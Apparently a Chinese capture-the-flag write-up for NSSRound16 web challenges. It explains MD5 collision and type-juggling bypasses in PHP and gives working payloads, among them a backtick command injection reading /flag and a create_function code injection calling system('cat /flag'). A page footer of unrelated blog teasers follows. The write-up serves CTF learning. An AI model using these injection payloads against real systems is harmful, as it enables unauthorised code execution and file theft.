NSSRound16
NSSRound16
RCE但是没有完全RCE
审题

审核代码,简单的md5绕过。
知识点
md5绕过,命令组合,shell里``中的内容会被当成代码执行
知识详解
md5等于的绕过方法
数组绕过 a[]=1&b[]=2,
0e绕过弱比较,md5后的值以0e开头即可绕过。
$a==md5 $a=0e215962017其md5后的值也为0e开头
md5碰撞绕过强比较。
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
解题
- md5碰撞绕过md5_1和2,数组绕过md5_3

- 进入新目录。

审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数
使用dir观察题目内容

找到flag,cat命令被禁言使用more命令。
并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。
所以构造的cmd为
cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`

了解过PHP特性吗
审题

进行代码审计后,总的来说就是让checker1,2,3,4都为ture
知识点
php函数的应用。
解题
绕过checker1
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
只要让num中匹配不到数字并让intval=1即可。直接用数组绕过
num[]=1
绕过checker2
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
md5弱比较,0e 绕过。
注意strrev()函数,反转函数将字符串前后反转。
构造:ctype=TDNHTLQ&is_num=807016042
绕过checker3。
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
直接构造:114=1e9&514=9999999999999999a即可。
绕过checker4
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。
所以,构造:arr4y[]=0.
得到下一页目录


注意create_function()函数
$B='echo $A;'
create_function($A,$B) //的输出结果相当于
function lambda_1($A){
echo $A;
}
所以,传入nss=return;}system('cat /flag');/*&shell=时
相当于:
creat_function($shell,$nss);
function lambda_1($shell,$nss){
return;}system('cat /flag');/*
}
所以,得到flag。

随机推荐
- java 服务 JVM 参数设置配置
本文为博主原创,转载请注明出处: 常用JVM 配置参数: -Xmx:表示java虚拟机堆区内存可被分配的最大上限,通常为操作系统可用内存的1/4大小. -Xms:表示java虚拟机堆区内存初始内存分配 ...
- Redis服务端辅助的客户端缓存机制
一.背景和问题 二.Redis6 的解决方案及原理 2.1 服务端支持客户端缓存的两种模式 1. 默认模式 2. 广播模式 2.2 客户端实现的两种连接模式 1. 使用同一连接 2. 使用不同连接 3 ...
- 数据-CRUD
CRUD Create 创建 Read 读取 Update 更新 Delete 删除 场景 只要存在数据结构概念,就必存在CRUD
- SkyWalking的学习之二(性能优化以及log)
SkyWalking的学习之二(性能优化以及log) 背景 周六在家学习了SkyWalking的交单部署和agent的方式获取日志. 万恶的周天上班到公司发现出现了宕机. 具体原因是我想进行SkyWa ...
- [转帖]事务上的等待事件 —— enq: TM - contention
执行DML期间,为防止对与DML相关的对象进行修改,执行DML的进程必须对该表获得TM锁.若在获得TM锁的过程中发生争用,则等待enq: HW - contention 事件. SQL> sel ...
- [转帖]Xargs用法详解
https://www.cnblogs.com/cheyunhua/p/8796433.html 1. 简介 之所以能用到这个命令,关键是由于很多命令不支持|管道来传递参数,而日常工作中有有这个必要, ...
- [转帖]CPU结构对Redis性能的影响
文章系转载,便于分类和归纳,源文地址:https://wangkai.blog.csdn.net/article/details/111571446 CPU的多核架构和多CPU架构都会影响到Redis ...
- [转帖]龙芯 vs 飞腾:各种测试数据看国产CPU水平
https://zhuanlan.zhihu.com/p/99921594 2019年年末,龙芯.飞腾两大国产CPU巨头更是相继组织了规模宏大的年会,发布了新型桌面芯片及其整机产品,顿时硝烟四起.各大 ...
- 拼多多的U盘都是垃圾
春节期间陪孩子玩拼多多的果园, 然后发现推送的U盘很便宜就买了下 结果发现.. U盘都是扩容盘,非常垃圾 如下图: 警告: 只有 255933 MB可测试,总容量 255935 MB. 媒体很可能已损 ...
- Linux 界面能够出现ip地址提示的方法
cat <<EOF >/etc/profile.d/ip.sh if [[ `tty | grep "pts"` ]]; then export PS1='['& ...